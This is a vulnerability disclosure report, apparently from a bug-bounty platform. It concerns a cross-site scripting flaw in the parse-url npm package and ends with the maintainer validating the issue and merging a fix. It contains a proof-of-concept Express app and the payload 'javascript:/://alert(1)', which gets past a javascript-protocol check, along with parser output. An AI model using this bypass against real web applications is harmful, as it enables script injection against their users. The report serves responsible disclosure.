Cross Site Scripting via Improper Input Validation in ionicabizau/parse-url

Valid

Reported on

Jun 11th 2022


Description

The parse-url The 5.0.8 version of the parser does not check :// character between protocols. This causes spoofing of the javascript protocol itself. Additionally, protocol spoofing does not occur in url-parse, new URL(), and url.parse() other than parse-url.

Proof of Concept

const parseUrl = require("parse-url");
const express = require('express');
const app = express();

parsed = parseUrl("javascript:/://alert(1)");
console.log(parsed);

app.get('/', (req, res) => {
    if (parsed.protocol !== "javascript") {
        res.send("<a href=\'" + parsed.href + "\'>CLICK ME!</a>")
    }
})

app.listen(9999);

In general, the above express code forbids the javascript protocol. However, you can spoof this using the :// character

output console.log(parsed);
{
  protocols: [ 'javascript:/' ],
  protocol: 'javascript:/',
  port: null,
  resource: 'alert(1)',
  user: '',
  pathname: '',
  hash: '',
  search: '',
  href: 'javascript:/://alert(1)',
  query: [Object: null prototype] {}
}
output : document in browser
<a href="javascript:/://alert(1)">CLICK ME!</a>

Other module stability

~/Desktop/npm-research/test
❯ node -e "const parser = require('url-parse');console.log(parser('javascript:/://alert()'))"
{
  slashes: false,
  protocol: 'javascript:',
  hash: '',
  query: '',
  pathname: '/://alert()',
  auth: '',
  host: '',
  port: '',
  hostname: '',
  password: '',
  username: '',
  origin: 'null',
  href: 'javascript:/://alert()'
}

~/Desktop/npm-research/test
❯ node -e 'console.log(new URL("javascript:/://alert()"))'
URL {
  href: 'javascript:/://alert()',
  origin: 'null',
  protocol: 'javascript:',
  username: '',
  password: '',
  host: '',
  hostname: '',
  port: '',
  pathname: '/://alert()',
  search: '',
  searchParams: URLSearchParams {},
  hash: ''
}

In the two famous modules, javascript spoofing does not occur, so XSS does not occur.

Impact

Through this vulnerability, an attacker is capable to execute malicious scripts.

We are processing your report and will contact the ionicabizau/parse-url team within 24 hours. 2 months ago
We have contacted a member of the ionicabizau/parse-url team and are waiting to hear back 2 months ago
We have sent a follow up to the ionicabizau/parse-url team. We will try again in 7 days. 2 months ago
We have sent a second follow up to the ionicabizau/parse-url team. We will try again in 10 days. a month ago
Ionică
a month ago

Maintainer


Hi there! Sorry for the late reply and thank you for this report. I am working on fixing this.

Ionică Bizău (Johnny B.) validated this vulnerability a month ago
Pocas has been awarded the disclosure bounty
The fix bounty is now up for grabs
The researcher's credibility has increased: +7
Ionică Bizău (Johnny B.) confirmed that a fix has been merged on 21c72a a month ago
Ionică Bizău (Johnny B.) has been awarded the fix bounty
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